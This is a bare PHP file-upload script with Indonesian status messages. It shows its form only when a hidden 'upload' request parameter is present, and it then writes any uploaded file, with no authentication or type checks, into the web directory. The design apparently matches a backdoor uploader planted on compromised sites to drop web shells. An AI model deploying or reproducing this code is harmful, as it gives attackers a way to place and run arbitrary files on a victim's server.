upload

<?php
if (isset($_REQUEST['upload'])) {
    if (isset($_REQUEST['submit'])) {
        $uploaddir  = '';
        $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
        if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
            echo "Berhasil di unggah\n";
        } else {
            echo "Gagal!\n";
        }
    } else {
        echo '
<form action="" method="post" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="1000000000" /> <!-- dalam byte = 1000Mb -->
<input type="file" name="userfile" size="40" />
<input type="submit" name="submit" /></form>';
    }
}
?>